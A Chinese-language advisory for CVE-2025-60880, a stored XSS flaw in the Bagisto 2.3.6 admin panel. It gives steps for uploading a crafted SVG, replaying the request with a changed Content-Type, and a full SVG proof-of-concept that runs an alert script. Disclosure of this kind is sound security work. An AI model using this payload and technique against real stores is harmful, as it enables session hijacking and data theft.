CVE-2025-60880：Bagisto 管理面板中的存储型跨站脚本（XSS）漏洞

Bagisto 2.3.6 管理面板的产品创建路径中存在一个已认证的存储型 XSS 漏洞，允许攻击者上传包含恶意 JavaScript 代码的特制 SVG 文件。该漏洞可被已认证的管理员用户利用，在浏览器中执行任意 JavaScript，可能导致会话劫持、数据窃取或未授权操作。

漏洞概述

• CVE ID：CVE-2025-60880
• 类型：跨站脚本（XSS）
• CVSS 评分：6.9（中危）
• CVSS 向量：CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:N
• 受影响厂商：Bagisto
• 受影响产品：Bagisto
• 受影响版本：v2.3.6
• 受影响组件：Bagisto 管理面板（产品创建路径）
• 攻击向量：远程
• 认证要求：需要管理员权限
• 影响：代码执行、会话劫持、数据窃取

概念验证（PoC）

当已认证的管理员上传包含恶意 JavaScript 的特制 SVG 文件时，该漏洞即被触发。

复现步骤：

1. 以已认证的管理员身份登录 Bagisto 管理面板。
2. 导航至产品创建路径。
3. 上传包含 JavaScript 载荷的特制 SVG 文件。
4. 修改 Content-Type 标头后重放该请求。
5. 恶意 SVG 文件被存储在服务器上。
6. 当访问该文件的 URL 时，JavaScript 会在用户的浏览器中执行。

恶意 SVG 载荷示例：

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
   <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
   <script type="text/javascript">
      alert(document.domain);
   </script>
</svg>

修复建议

• 为缓解此漏洞，建议采取以下措施：
• 强制执行输入验证、Content-Type 强制校验以及适当的文件处理。
• 将文件上传限制为可信格式，并对 SVG 文件进行清理以移除潜在有害内容。

披露时间线

免责声明

本仓库中提供的信息和概念验证（PoC）代码仅用于教育和道德研究目的。作者对因本文提供的信息或代码造成的任何误用或损害概不负责。用户应对其行为承担全部责任。用户有责任确保其遵守所有适用的地方、州和联邦法律。